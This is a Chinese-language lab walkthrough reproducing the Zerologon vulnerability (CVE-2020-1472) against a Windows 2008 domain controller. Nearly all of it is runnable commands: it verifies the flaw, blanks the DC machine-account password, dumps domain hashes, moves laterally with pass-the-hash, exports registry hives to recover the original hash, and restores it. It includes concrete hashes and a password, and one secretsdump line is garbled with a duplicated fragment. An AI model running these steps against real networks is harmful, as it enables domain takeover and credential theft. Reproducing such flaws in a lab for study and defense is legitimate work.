0x1 工具
这里使用zerologon_tester(https://github.com/SecuraBV/CVE-2020-1472)工具验证漏洞是否存在,使用zerologon(https://github.com/risksense/zerologon)工具复现。
运行set_empty_pw.py脚本需要最新版的impacket(https://github.com/SecureAuthCorp/impacket/commit/64ce46580286b5ab15a4737bddf85201ce2adde3)。
注意:不要下载tags里面的,tags里面还是3月份的!
impacket安装:
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 setup.py install
(如果事先安装了impacket可使用pip3 uninstall impacket命令卸载。)
0x2 漏洞利用
1、漏洞验证POC。
python3 zerologon_tester.py WIN-2008-DC 192.168.3.123
2、使用zerologon工具将域控密码打成空。(这里打空的用户是域控所在机器的账户,并不是域控账户。)
python3 set_empty_pw DC_NETBIOS_NAME DC_IP_ADDR
python3 set_empty_pw.py WIN-2008-DC 192.168.3.123
3、使用空密码dump域控上的hash。
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'ggyao.com/WIN-2008-DC$@192.168.gyao.com/WIN-2008-DC$@192.168.3.123'
如图:
WIN-2008-DC$用户hash已被替换为31d6cfe0d16ae931b73c59d7e0c089c0 (空)。
4、使用administrator的hash横向连接过去。
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 ggyao/administrator@192.168.3.123
5、获取计算机账号原始hash。
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
6、将该原始计算机帐户哈希还原。
python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
python3 reinstall_original_pw.py WIN-2008-DC 192.168.3.123 6493fcc57bd126e9ab8fb9f56e8a79c9
7、查看WIN-2008-DC$账号的hash,已成功还原。
secretsdump.py ggyao.com/administrator:1qaz@WSX@192.168.3.123 -just-dc-user 'WIN-2008-DC$'
0x3 参考
https://github.com/risksense/zerologon
https://github.com/SecuraBV/CVE-2020-1472